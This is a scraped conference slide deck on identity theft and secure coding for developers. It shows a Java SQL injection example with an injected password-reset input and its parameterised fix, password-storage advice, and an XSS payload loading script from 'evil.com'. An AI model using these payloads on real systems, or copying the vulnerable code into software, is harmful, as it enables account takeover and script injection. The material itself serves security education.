33
Identity theft developer is key

Identity theft blue4it nljug

Embed Size (px)

Citation preview

Page 1: Identity theft blue4it nljug

Identity theftdeveloper is key

Page 2: Identity theft blue4it nljug

Identity theftCybercrime

Hard to get rid of the consequences

We create the code We protect the data

Page 3: Identity theft blue4it nljug

Are we part of the solutionOr part of the problem?

Page 4: Identity theft blue4it nljug

Brian VermeerSoftware Engineer

Page 5: Identity theft blue4it nljug

CybercrimeReal threat

and it is growing

Organised and professional it’s a business

Risks are low

We are not ready

Lot of money involved

Page 6: Identity theft blue4it nljug

How profitable is cybercrime?

Page 7: Identity theft blue4it nljug

Identity theftIdentity theft is the deliberate use of someone else's

identity, usually as a method to gain a financial advantage or obtain credit and other benefits in the other person's name, and perhaps to the other person's disadvantage or loss.

The person whose identity has been assumed may suffer adverse consequences if they are held responsible for the

perpetrator's actions.

Page 8: Identity theft blue4it nljug

Kevin Goes (30)

His identity data was stolenand then ….

Page 9: Identity theft blue4it nljug

Kevin Goes (30)

Page 10: Identity theft blue4it nljug

Data is like crude oilby itself it is dead, but comes to live when applying the right

kind of science

Page 11: Identity theft blue4it nljug
Page 12: Identity theft blue4it nljug

What can we do as developersProtect yourself & be aware

Page 13: Identity theft blue4it nljug

Protect youselfWhere do I leave my notebook ?

Where do I store my passwords ?

Do I use my password multiple times ?

Is my software up to date ?

2 step verification ?

What wifi hotspot do I use ?

Page 14: Identity theft blue4it nljug
Page 15: Identity theft blue4it nljug

Software Development

Page 16: Identity theft blue4it nljug

Our application

What we think it is

What it actually is

Page 17: Identity theft blue4it nljug
Page 18: Identity theft blue4it nljug

How many dependencies?

Are all needed?

Are all up-to-date?

Are all reliable?

Dependencies

Page 19: Identity theft blue4it nljug
Page 20: Identity theft blue4it nljug

Don't trust blindly

Page 21: Identity theft blue4it nljug

Securityas part of your development process

business value VS security

code reviews

clean code = secure code

Page 22: Identity theft blue4it nljug

OWASP - ASVSOpen Web Application Security

Project Application Security Verification

Standard

https://www.owasp.org/index.php/Category:OWASP_Application_Securit

y_Verification_Standard_Project

Page 23: Identity theft blue4it nljug

Code reviewString url = "jdbc:postgresql://localhost:5432/test?user=brian&password=brian";Connection conn = DriverManager.getConnection(url);Statement stmt = conn.createStatement();String newPassword = request.getParameter("password");String sql = "UPDATE Users SET password = '" + newPassword + "' WHERE id=1";stmt.execute(sql);

Page 24: Identity theft blue4it nljug

Code reviewString url = "jdbc:postgresql://localhost:5432/test?user=brian&password=brian";Connection conn = DriverManager.getConnection(url);Statement stmt = conn.createStatement();String newPassword = request.getParameter("password");String sql = "UPDATE Users SET password = '" + newPassword + "' WHERE id=1";stmt.execute(sql);

what if my input = ' '; '

UPDATE Users SET password =' '; ' WHERE id=1;

Page 25: Identity theft blue4it nljug

SQL InjectionString url = "jdbc:postgresql://localhost:5432/test?user=brian&password=brian";Connection conn = DriverManager.getConnection(url);Statement stmt = conn.createStatement();String newPassword = request.getParameter("password");String sql = "UPDATE Users SET password = '" + newPassword + "' WHERE id=1";stmt.execute(sql);

what if my input = ' '; UPDATE Users SET password = ' '

UPDATE Users SET password =' '; UPDATE Users SET password = '' WHERE id=1;

Page 26: Identity theft blue4it nljug

Query ParameterizationString url = "jdbc:postgresql://localhost:5432/test?user=brian&password=brian";Connection conn = DriverManager.getConnection(url);String newPassword = request.getParameter("password");String sql = "UPDATE Users SET password = ? WHERE id=1";PreparedStatement pstmt = conn.prepareStatement(sql);pstmt.setString(1, newPassword);pstmt.executeUpdate();

Page 27: Identity theft blue4it nljug

Password storage

Page 28: Identity theft blue4it nljug

Password protection

Don’t store plain text

Don’t limit the password length

Don’t limit the character set

Don’t use an ordinary hash function

Page 29: Identity theft blue4it nljug

Password protectionUse a password policy

Use a cryptographically strong credential-specific salt

Use a cryptographic hash algorithm (e.g. PBKDF2)

Use a HMAC (keyed-hash message authentication code), HMAC-SHA256

Design to be compromised

Page 30: Identity theft blue4it nljug

XSS (Cross Side Scripting)http://www.jfokus.se/saveComment?comment=Java+is+Awesome!

<h3> Thank you for you comments! </h3> You wrote: <p/> Java is Awesome <p/>

Page 31: Identity theft blue4it nljug

XSS (Cross Site Scripting)http://www.jfokus.se/saveComment?comment=<script src="evil.com/x.js"></script>

<h3> Thank you for you comments! </h3> You wrote: <p/> <script src="evil.com/x.js"></script> <p/>

Page 32: Identity theft blue4it nljug

SummaryBE AWARE

Protect yourself

Integrate security in development process

https://www.owasp.orgASVS